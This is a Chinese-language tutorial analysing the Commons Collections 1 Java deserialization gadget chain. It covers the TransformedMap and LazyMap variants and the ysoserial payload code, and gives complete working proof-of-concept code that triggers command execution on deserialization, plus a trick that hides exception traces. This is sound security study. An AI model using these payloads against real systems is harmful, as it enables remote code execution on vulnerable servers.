Java安全之CommonsCollections1链

2023-05-16 11:02:39 浏览数 (1)

前言

分析了URLDNS链,那么开始Commons Collections系列链的分析

Commons Collections

Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的 Java 代码。Apache Commons Collections 是对 java.util.Collection 的扩展,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。它增加了各异的集合和Map,常见的有FixedSizeList、SetUniqueList、TransformedList、PredicatedList、ListOrderedSet、Bag等集合拓展和TransformedMap、CaseInsensitiveMap、OrderedMap、LinkedMap、BidiMap、LazyMap等Map拓展。

环境准备
  • Windows 10
  • JDK版本:JDK8u71以下,这里使用的 JDK 1.7
  • Commons Collections版本:3.1

利用maven进行项目管理,利用IDEA创建Maven项目,pom.xml内容如下

代码语言:javascript复制
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>maven</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

    <properties>
        <maven.compiler.source>7</maven.compiler.source>
        <maven.compiler.target>7</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

</project>
预备知识
Transformer

org.apache.commons.collections.Transformer是一个接口,提供了一个待实现的transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回。Commons Collections提供了多个Transformer的实现类用来实现不同的TransformedMap类中key、value进行修改的功能。

代码语言:javascript复制
public interface Transformer {
    Object transform(Object var1);
}
TransformedMap

org.apache.commons.collections.map.TransformedMap类可以在一个元素被加入到集合内时自动对该元素进行特定的修饰变换,在decorate()方法中,第一个参数为修饰的Map类,第二个参数和第三个参数作为一个实现Transformer接口的类,用来转换修饰的Map的键、值(为null时不进行转换);因此,当被修饰的map添加新元素的时候便会触发这两个类的transform方法。例如,

代码语言:javascript复制
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

keyTransformer是处理新元素 Key 的回调,valueTransformer是处理新元素 value 的回调,当我们向outerMap中添加新元素时,它就会调用keyTransformervalueTransformer里面的transform方法

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer类也实现了Transformer接口,它有一个带参构造函数,可以初始化时传入一个对象。并且实现了transform方法,当调用transform方法时直接将这个对象返回。这个类用于和ChainedTransformer配合,将其结果传入InvokerTransformer来调用我们指定的类的指定方法

代码语言:javascript复制
public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}
InvokerTransformer

org.apache.commons.collections.functors.InvokerTransformer类也实现了Transformer接口,这是实现RCE的关键类。初始化时传入三个参数,第一个是要执行的方法名,第二个是方法需要传入的参数类型,第三个是方法需要传入的参数值。再看Transform方法,method.invoke(input, this.iArgs);可以看出需要利用 Java 反射机制获取想要执行的方法,然后调用transform方法时就可以通过invoke执行这个获取到的方法

代码语言:javascript复制
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '"   this.iMethodName   "' on '"   input.getClass()   "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '"   this.iMethodName   "' on '"   input.getClass()   "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '"   this.iMethodName   "' on '"   input.getClass()   "' threw an exception", var7);
        }
    }
}
ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类也实现了Transformer接口,根据源码可以看出,该类初始化时传入了一个Transformer数组,当调用transform方法时,循环遍历传入的数组,并依次调用每个Transformertransform方法,将前一个回调函数transform返回的结果,作为后一个回调函数transform的参数传入。这样就能将ConstantTransformer返回的对象和InvokeTransformer执行对象的方法串起来进行链式调用

代码语言:javascript复制
public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length;   i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}
触发回调链实现RCE

这里以弹计算器为例,整个回调链逻辑为:创建一个存放Transformer类型的数组,里面包含两个对象,ConstantTransformer类初始化获取Runtime类对象并返回;InvokeTransformer类初始化获取exec方法并传入参数类型和值calc。将这个数组给ChainedTransformer类初始化对象,将ChainedTransformer对象作为keyTransformervalueTransformer对Map做一个修饰。当向修饰后的Map中添加新元素时,就会自动调用作为keyTransformervalueTransformerChainedTransformer对象中的transform方法,从而链式调用数组中Transformertransform方法,将前一个Transformer的返回值作为下一个Transformer的参数不断调用,从而执行calc系统命令弹出计算器

代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1_1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        //TransformedMap⽤于对Map做⼀个修饰,传出的outerMap即是修饰后的Map
        outerMap.put("name","ph0ebus");
        //被修饰过的Map在添加任意新的元素时,执行回调
    }
}

虽然这里通过手动向修饰过的Map添加新元素能触发一些回调函数而引发恶意执行,但在实际的漏洞利用环境中几乎没有能直接put元素的环境,是需要把它变成反序列化流的,让它在反序列化后能够自动触发。但 Java 序列化需要类实现Serializable接口,否则不能被序列化。Runtime类没有实现Serializable接口,Runtime.getRuntime()获取到的Runtime对象是不能被序列化的,这里就要用到反射机制了,反射通常是通过class方法生成的Class对象,Class实现了Serializable接口而可以被序列化。

代码语言:javascript复制
Method m = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null);
r.exec("calc");

将这段写成Transformer数组,当调用ChainedTransformertransformer方法时,会对transformers数组进行一系列回调

代码语言:javascript复制
Transformer[] transformers = new Transformer[] {
    // 获取Class对象,可以被序列化
    new ConstantTransformer(Runtime.class),
    // public Method getMethod(String name, Class<?>... parameterTypes)
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
    // public Object invoke(Object obj, Object... args)
    new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
    new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc" }),};

现在不能序列化的问题解决了,那如何在反序列化时自动触发这一系列回调呢?

反序列化过程需要执行对象的readObject方法,也就是需要找到一个类的readObject方法能调用transform方法从而触发一系列回调,而这个类就是sun.reflect.annotation.AnnotationInvocationHandler,它的readObject方法如下

代码语言:javascript复制
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass()   "["   var8   "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

}

当执行到setValue方法时,这种类put操作可以触发Transformer链的调用方法。所以需要创建一个AnnotationInvocationHandler对象,将修饰好的Map放进来。因为这个构造方法是私有的,所以需要利用反射来实例化。这个类构造函数有两个参数,第一个是Annotation子类,第二个参数是Map

代码语言:javascript复制
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

而这里为啥要传入Retention.class呢?这是因为在执行setValue之前需要满足 if 判断才能进到setValue方法

代码语言:javascript复制
while(var4.hasNext()) {
    // 遍历Map
    Entry var5 = (Entry)var4.next();
    // 获取Map的键名
    String var6 = (String)var5.getKey();
    // 在var3中寻找是否有键名为var6的值,如果在这里没有找到,则返回了null,
    Class var7 = (Class)var3.get(var6);
    if (var7 != null) {
        Object var8 = var5.getValue();
        if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
            var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass()   "["   var8   "]")).setMember((Method)var2.members().get(var6)));
        }
    }
}

满足 if 判断的条件就是

  • AnnotationInvocationHandler构造函数第一个参数是Annotation子类且包含至少一个方法,假设为方法名为X
  • TransformedMap.decorate修饰的Map中有一个键名为X的元素

Retention.class就符合子类和至少一个方法的条件,方法叫value,所以需要提前往Map中添加一个元素,它的键名为value,值随意。

TransformedMap链-POC链

由于网络传输需要用字节流而不是字符流,就需要先ByteOutputStream创建字节数组缓存区,再创建对象的序列化流后用writeObject写入序列化流。

代码语言:javascript复制
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

完整POC链为:

代码语言:javascript复制
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
        // 1.创建数组,用于回调链
        Transformer[] transformers = new Transformer[]{
            	// 获取对象
                new ConstantTransformer(Runtime.class),
            	// 获取方法,将返回值传递给下一个作为参数
            	// public Method getMethod(String name, Class<?>... parameterTypes)
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            	// public Object invoke(Object obj, Object... args)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
        };

        // 将链连接起来
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        // 放入键名为value的元素,符合if判断
        innerMap.put("value", "ph0ebus");

        // 修饰Map
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        // 通过反射创建实例
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        System.out.println("对象序列化成功!");
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
        System.out.println("对象反序列化成功!");
    }
}

这个POC只有在Java 8u71以前的版本中才能执行成功,Java 8u71以后的版本由于Java 官方修改了sun.reflect.annotation.AnnotationInvocationHandler 中的readObject函数,具体可以看下面这篇文章:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d 改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。 所以后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了

在ysoserial的代码中,没有⽤到上面POC的TransformedMap,而是改用了了LazyMap

LazyMap链

LazyMap 也来自于 Common-Collections 库,并继承AbstractMapDecorator类。 LazyMap 的漏洞触发点和 TransformedMap 唯一的差别是:TransformedMap 是在写入元素的时候执行transform,而 LazyMap 是在其get方法中执行的factory.transform。当在get找不到值的时候,它会调用factory.transform方法去获取一个值

代码语言:javascript复制
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

跟进 factory

代码语言:javascript复制
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
代码语言:javascript复制
// 构造方法
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}

也就是调用LazyMap中decorate方法,将恶意构造好的 Transformer 链作为第二个参数传入即可当 get 不到值的时候进行一系列调用

但怎么让它在反序列化时自动调用呢?

在TransformerMap链中,AnnotationInvocationHandler类中的readObject方法中会调用Map中的setValue方法从而进行一系列回调,但AnnotationInvocationHandler类中的readObject方法中并没有直接调用Map中的get方法,而是在AnnotationInvocationHandler类中的invoke方法中有调用到get。这时候就比较麻烦了如何调用到AnnotationInvocationHandler类中的invoke方法呢?

这时候就需要用到动态代理的知识了

因为AnnotationInvocationHandler类同样是实现了InvocationHandler接口,那它相当于就是一个动态代理类,那我们就可以通过Proxy的静态方法newProxyInstance去动态创建代理,只要我们调用任意方法,都会进入到代理类的invoke方法中,进而触发漏洞

所以POC链只需修改这部分逻辑

代码语言:javascript复制
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);

最后要再实例化的原因是入口点是AnnotationInvocationHandlerreadObject,而proxyMap是Map对象,入口不对,所以说我们再利用AnnotationInvocationHandler对这个proxyMap进行封装就好了

但是LazyMap仍然无法解决CommonCollections1在Java高版本(8u71以后)中的使用问题

ysoserial额外代码分析

ysoserial中cc1的代码:

代码语言:javascript复制
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

	public InvocationHandler getObject(final String command) throws Exception {
		final String[] execArgs = new String[] { command };
		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(Runtime.class),
				new InvokerTransformer("getMethod", new Class[] {
					String.class, Class[].class }, new Object[] {
					"getRuntime", new Class[0] }),
				new InvokerTransformer("invoke", new Class[] {
					Object.class, Object[].class }, new Object[] {
					null, new Object[0] }),
				new InvokerTransformer("exec",
					new Class[] { String.class }, execArgs),
				new ConstantTransformer(1) };

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 
        // arm with actual transformer chain 最后才将真正具有危害的Transformer数组设置进去

		return handler;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections1.class, args);
	}

	public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

审计代码,虽然里面有很多封装好的方法,但主要逻辑和前面分析的差不多的,可以看出 ysoserial 先new ChainedTransformer假数组,最后再利用getDeclaredField获取私有方法iTransformers,把真正的Transformer数组设置进去。

在前面放Transformer[]假数组的原因是:使用了Proxy代理了被修饰的Map对象时,我们在任何地方执行Map的方法时,都会触发Proxy#invoke,从而执行命令弹出计算器。正常执行是没问题的,但是在调试时可能会弹两遍甚至是三遍计算器,这是因为调试器会在下面调用一些toString之类的方法,导致不经意间就触发了命令。ysoserial对此做出的处理就避免了本地生成序列化流的程序执行到命令

还有一个细节是ysoserial中的Transformed数组最后增加了一个new ConstantTransformer(1),这是为什么呢?

p神猜测是为了隐藏异常日志的一些信息,如果这里没有ConstantTransformer(1),命令进程对象将会被 LazyMap#get 返回,导致我们在异常信息里能看到这个特征

Exception in thread “main” java.lang.ClassCastException: java.lang.ProcessImpl cannot be cast to java.util.Set

如果我们增加一个 ConstantTransformer(1)TransformChain的末尾,异常信息将会改变 ,隐蔽了启动进程的日志特征

Exception in thread “main” java.lang.ClassCastException: java.lang.Integer cannot be cast to java.util.Set


参考资料: https://xz.aliyun.com/t/11861 https://xz.aliyun.com/t/10357 https://www.anquanke.com/post/id/261724 http://arsenetang.com/2022/02/14/Java篇之CommonsCollections 6/ Java篇之ysoserial中的一些操作 | Arsene.Tang

0 人点赞